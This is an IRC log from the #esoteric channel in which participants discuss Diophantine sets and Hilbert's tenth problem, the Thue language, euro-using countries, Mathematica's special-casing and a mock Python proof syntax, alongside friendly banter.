< 1269128500 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: also I think automatic formatting is obviously good but mathematica messes it up < 1269128501 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::o < 1269128506 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok I couldn't even find the diophantine representation of complement of powers of 2 < 1269128514 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that one is SO EASY but I didn't get it :| < 1269128518 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: ok, I'm happy with that opinion < 1269128547 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1269128547 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :what's the exact problem? < 1269128586 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :like an equation where the solutions, restricted to X, are exactly N - {2^n | n \in N} < 1269128623 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :here's the set {a} of composites: a = xy < 1269128632 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well that's wrong actually < 1269128634 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :let me correct it < 1269128639 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :here's the set {a} of composites: a = (x+2)(y+2) < 1269128646 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :since it's in natural numbers < 1269128665 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :right so solutions restricted to a are exactly composites < 1269128684 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :all positive values of a are composites < 1269128699 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the general idea is D(a,x1,x2,...,xn) = 0 < 1269128710 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :where D is some polynomial iwht integer coefficents < 1269128720 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah, i just needed the definition of "diophantine representation" < 1269128784 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so umm is it "x = (y + 3)(z + 1)"? < 1269128792 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you need to have some factor that's more than 2 < 1269128797 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :and then some other factors < 1269128802 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :almost < 1269128807 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1269128815 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh lol < 1269128828 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you can still do 4*2 < 1269128839 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1269128841 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so who's watched Earth: Final Conflict? < 1269129146 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, the answer is (2y + 3)(z + 1) < 1269129171 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :err right ofc < 1269129184 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :was just about to get paper < 1269129189 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :anyway the complement of this set (powers of two) is diophantine as well < 1269129197 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but that's a hard theorem (takes a whole chapter) < 1269129205 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah it does sound harder < 1269129228 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the method is great.. he encodes a sequence (fibonacci sequence) and since that has roughly exponential growth, that proves that exponentitation can be defined too :D < 1269129244 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the sequence they actually use (to make the proof more direct) isn't fibs though < 1269129272 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :should have said asymptotic rather than roughly < 1269129275 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :for "has odd factor" you just write x = odd*any, the other direction doesn't have a simple explanation with existential quantification < 1269129309 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(complement isn't always diophantine, compare with the analogue of recursive languages...:)) < 1269129322 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but in the case of exponentiation it is < 1269129323 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well of course not < 1269129341 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and proving that exponentiation was diophantine was the last piece needed to complete the proof (of hilberts 10th) < 1269129349 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :hmm well not sure about of course < 1269129433 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh hmm < 1269129438 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :right i've actually seen that < 1269129457 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :seen what/? < 1269129540 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :exponentiation, but i just realized i haven't < 1269129579 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's a pretty tough chapter, I haven't really worked through it yet just understood the general idea < 1269129588 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :what are you reading? < 1269129603 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://logic.pdmi.ras.ru/~yumat/H10Pbook/ < 1269129647 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://logic.pdmi.ras.ru/~yumat/H10Pbook/bookcont.htm < 1269129709 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269129792 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :anyway for OR the solution isn't something you'll just look at and go "oh lol why couldn't i see that" < 1269129811 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :although anyone should be able to prove it < 1269129819 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I give up yet < 1269129867 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :tell me if you do, and we can start talking about fixed-points of morphisms < 1269129888 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why does that require knowledge of OR? < 1269129901 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't, i just wanted to segway into it in an awkward way < 1269129906 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269129919 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why 'of morphisms' isn't the theory just the same < 1269129955 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well we use morphisms to get all sorts of avoidability results, because infinite words defined as fixed-points of morphisms have the fun property that we can do induction on them. < 1269129990 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if the pattern XYX occurs in h^n(a), then it must occur in h^(n-1)(a) < 1269129990 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1269130004 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is still thue/monoid theory? < 1269130014 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269130030 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :topic is combinatorics on/of words, subtopic avoidability < 1269130053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :thue is beautiful < 1269130059 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :possibly the simplest tc language ever < 1269130059 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :morphisms, by which i mean homomorphisms, are just a convenient way to get there < 1269130068 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269130069 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't even have variables... or anything < 1269130083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're a homo (morphism) < 1269130098 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :alise: it's the same thue at least < 1269130121 0 :AnMaster_!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269130124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh and well i guess both are word stuff < 1269130133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh not the language < 1269130137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :boring :P < 1269130145 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269130156 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how do you write logical OR in Thue? < 1269130169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269130170 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's easy < 1269130184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i forget the syntax but < 1269130189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0|0 -> 0 < 1269130191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0|1 -> 1 < 1269130198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1|0 -> 1 < 1269130198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1|1 -> 1 < 1269130222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's hard to believe that such ... uncomputational rules can still have things like storage and plugging that storage into other things < 1269130290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I would say Thue is simpler than BCT < 1269130290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ignoring the IO fluff < 1269130305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's basically [(string,string)] -> string -> string < 1269130358 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and really all you do is... pick something from the array, find it in the program, replace by the second element, repeat < 1269130462 0 :AnMaster!unknown@unknown.invalid QUIT :*.net *.split < 1269130480 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"i've been using ASP for years, but this is my first shot at something big in PHP, so i didn't even know there was a strip_tags function! wow ASP needs something like that lol" -- this was written in 2010 < 1269130589 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269130607 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269130776 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : Maybe I'll go to Norway, they have the Euro :P < 1269130777 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er, no < 1269130799 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :was this sarcasm... < 1269130806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I thought they did? < 1269130816 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :certainly not < 1269130818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :At least I remember reading they did. < 1269130857 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :we're not an EU member. not that that has stopped other countries from using the Euro. < 1269130886 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the Scandinavians love their currencies < 1269130907 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They are at least in Schengen. < 1269130910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :huh; norway isn't an eu member? < 1269130918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :my illusions are being shattered < 1269130928 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :does denmark at least have the euro < 1269130931 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269130942 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: you're an eu citizen and you don't know which countries are eu members? O_O < 1269130943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wtffffffffffff :| < 1269130945 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :of the Scandinavian countries, only Finland does < 1269130954 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Norway has the coins with holes in them < 1269130961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: oh come on britain is barely an eu member :D < 1269130964 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :neither denmark, sweden or norway have the euro, although with different excuses < 1269130990 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :norway isn't an eu member, denmark has an exception and sweden pretends they have one ;D < 1269131000 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*excemption < 1269131006 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*exemption < 1269131023 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has a sudden craving for donus
< 1269131025 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*donuts < 1269131039 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :good thing I live in Canada < 1269131040 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and the rest of eu seem to pretend sweden does too, so it's de facto < 1269131057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: whereabouts in canada do you live? < 1269131064 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: Calgary < 1269131075 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Sweden is exploiting a loophole to avoid having to switch < 1269131077 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :expect me there roughly tomorrow < 1269131087 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269131092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :have you guys sorted out your shitty government yet? < 1269131095 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no :( < 1269131099 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ETA? < 1269131114 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :2900 < 1269131135 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: yeah but only sweden has a "permanent" permission to use that loophole iiuc < 1269131137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe i won't move to canada :P < 1269131161 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :other eastern members won't get to use it, although with the financial crisis the point is currently moot i think < 1269131186 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(since they have a perfectly reasonable reason not to be able to reach the criteria) < 1269131190 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(yet) < 1269131191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nooo, the recession is over - the banks are giving out bonuses again! < 1269131200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(paraphrased from reddit) < 1269131209 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: now _that_ must be sarcasm < 1269131218 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :since they did that the whole time < 1269131235 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yesterday a point of privilege was raised against a Minister in the House of Commons; if the Speaker allows it, the House will probably find him in contempt < 1269131251 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: ooh, scary < 1269131255 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION snickers
< 1269131258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: of course. < 1269131281 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :It is indeed amusing < 1269131281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: in your government < 1269131291 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do people shout at each other all the time < 1269131294 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh yes < 1269131300 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :iirc some tiny countries outside the EU also use the euro; andorra, monaco and san marino i think. < 1269131306 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :we took our system from you, remember? < 1269131314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and do you have a game where everyone in the party that's talking goes "ooooh" all the time < 1269131319 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :montenegro did at one time, not sure now < 1269131321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269131321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just checking < 1269131321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not canada then < 1269131372 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and there's some west african franc or something that is linked to the euro iirc (used to be linked to the franc) < 1269131397 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(a multinational african currency) < 1269131427 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :of course wikipedia has all this, probably where i read most of it < 1269131443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyone want to fight with ggz to play reversi? < 1269131451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ask ais523 if you want to know how horrific it is < 1269131468 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, don't ask, just guess from my horrified reaction < 1269131470 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269131492 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Also the Vatican. < 1269131530 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269131540 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: darn i thought about it but forgot to write it :D < 1269131624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so guys remember when we were talking about the impossibility of having legal sex in the vatican < 1269131638 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh almost forgot, i got the summer job i mentioned. so i'll be proving properties of CA all summer \o/ < 1269131638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what if you had a friend who was a high-ranking catholic, and he let you have sex in his vatican residence < 1269131676 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok o_o < 1269131683 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is a JOB?? < 1269131684 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah also kosovo (unofficial) < 1269131753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklokok is proving properties of california and, unofficially, kosovo < 1269131847 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yes, job at uni < 1269131858 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Heheh. < 1269131875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"In addition, the convenient new function Total can now be used to efficiently add lists of numbers. " --Mathematica 5 < 1269131879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :EFFICIENTLY! < 1269131900 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol what < 1269131904 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: all of Mathematica is inefficient unless special-cased < 1269131964 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Seriously? < 1269131970 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269131981 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but there's a lot of special-casing < 1269131987 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and the special cases tend to be fast < 1269131990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's one of the things I hate about it < 1269131993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :most of mathematica is special cases yeah < 1269131996 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :really good benchmarks, but practically useless < 1269132005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: consider - the entire language is just tree rewriting < 1269132021 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: ... And they implement it naively? < 1269132022 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*shudder* < 1269132027 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rewriting f[x_1,x_2,...,x_n] into another tree < 1269132043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So they special-case a ton of stuff so that it isn't horribly slow if you do what they want. < 1269132078 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :why thank you, i too think i'm the luckiest person in the whole fucking universe :) < 1269132105 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: god i hate you < 1269132113 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ah that's better < 1269132113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just die so that i can take your place :< < 1269132151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :die... just die < 1269132162 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1269132224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also... < 1269132233 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the stuff they make me do will probably be like "write this trivial program to do X so we know if we're on the right track" < 1269132234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :die :| < 1269132253 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: assure me they will be formal proofs < 1269132372 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i think it's faster to just write a python hack. < 1269132438 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sure it's faster. But less proofy! < 1269132457 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well that's rather true < 1269132507 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269132595 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269133122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a python-based proof system would be amusingorrible < 1269133179 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :card(NN)==aleph(0) < 1269133194 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what's NN? < 1269133232 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :naturals < 1269133242 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :N is a bit too ambiguous by itself, and blackboard = double-striking < 1269133244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so NN is as good a name as any < 1269133246 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :double the naturality < 1269133279 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269133281 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :except NN looks like it could be NxN. or perhaps more likely, {mn | m,n \in N} < 1269133282 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :NN that's clever < 1269133308 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in any of the three cases the statement is true < 1269133326 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sigma(QQp >> QQ, lambda f: ForAll(QQp, QQp, lambda e1, e2: abs(f(e1) - f(e2)) <= e1 + e2)) < 1269133335 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the last notation is used for other things too < 1269133351 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: well yeah, since NN=N for the last case < 1269133385 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ugh alise you're making me ill :P < 1269133392 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :python doesn't even have a type system < 1269133420 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's why you give it one! < 1269133437 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ooh I was talking to someone aboutthis < 1269133460 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :something about adding a type system to lisp < 1269133478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Qi < 1269133499 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesnt likei Qi :[
< 1269133507 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :its like somem weird frankenstien < 1269133508 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :me neither < 1269133514 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :dunno why they made it < 1269133523 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well I have nothing against them making it to be honest < 1269133532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just don't get why anyone other than the author gives a toss :P < 1269133550 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>>> coerce(refl(), Eq(NN, 2+2, 1+3)) < 1269133555 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://vimeo.com/10297756 < 1269133559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :refl() :: Eq(NN, 4, 4) < 1269133568 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i am so tempted to actually make this now < 1269133569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it would be so popular < 1269133596 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269133615 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269133617 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :why do i always make too much food and eat all of it < 1269133618 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :tip for english speakers: when spelling german words, switch ei and ie around from what your flawed intuition tells you. hth. < 1269133634 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :EYEgenvalue < 1269133643 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION still hs trouble with this
< 1269133649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eeigenvalue < 1269133659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eiegenvalue < 1269133665 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :~ egen - igen, egen - igen, lets call the whole thing off ~ < 1269133673 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :aaaaaaaaaaaaaaaigenvalue < 1269133688 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: THERE ARE STARVING PEOPLE IN AFRICA YOU KNOW < 1269133709 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :card(NN)==card(QQ) < 1269133722 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so... does that mean i should eat a lot or that i should not eat a lot? < 1269133741 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: I think it means you should clear your plate. I don't know by what logic it means this. < 1269133782 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i think i've seen the proof in preschool < 1269133814 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: you should eat your food so you'll grow up to be a good missionary in africa, clearly < 1269133823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :!Exists(NNp, NNp, NNp, NNp, lambda a, b, c, n: (a**n) + (b**n) == (c**n)) < 1269133826 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :preschool?? < 1269133829 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :You did set theory in preschool? :P < 1269133830 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Your interpretation is awesomesauce. < 1269133831 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what the nell < 1269133845 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fax: You didn't? < 1269133850 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269133854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :set theory in preschool would be awesome < 1269133857 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I did this stuff at home < 1269133891 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: also possibly realistic < 1269133909 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :My preschool was basically like this: Get there, finger paint, nap, ring theory, lunch, nap, recess, quantum mechanics, nap, dress-up, go home. < 1269133921 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269133949 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Apparently there was a lot of napping. < 1269133955 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :A ridiculous amount, frankly. < 1269133955 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i mean in my fantasy, the kind of people who tell their children there are starving people in africa to make them eat, are the same kind that would want their children to be missionaries < 1269133956 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in? : {A:Set} -> (x:A) -> (B:Set) -> Decision (A === B) < 1269133969 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :fax: i was talking about the starving kids actually < 1269133984 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :when i was in preschool i think i was just as retarded as everyone else < 1269133986 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1269134012 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well actually i was one of the two who could read and the other guy was a few years older < 1269134014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: hey python guy, is it possible to make "3" yield something other than an int < 1269134025 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i don't know. < 1269134031 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :probably. < 1269134057 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: well there seems to be a school of thought that says that when you don't like something you should think about how some other people have it worse. i've never understood how this is supposed to make me feel better. < 1269134060 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i know very little about python's internals, which is a bit stupid because those are the whole point < 1269134075 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ugh, what a waste < 1269134081 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no Timbits left, and the library was closed < 1269134103 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: schadenfreude best freude right < 1269134133 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://vimeo.com/10298933 < 1269134137 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :part 2 ^ < 1269134189 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269134340 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Anyone here? < 1269134345 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269134382 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :why would i eat like 800g of food when i'm full after like 400g < 1269134401 0 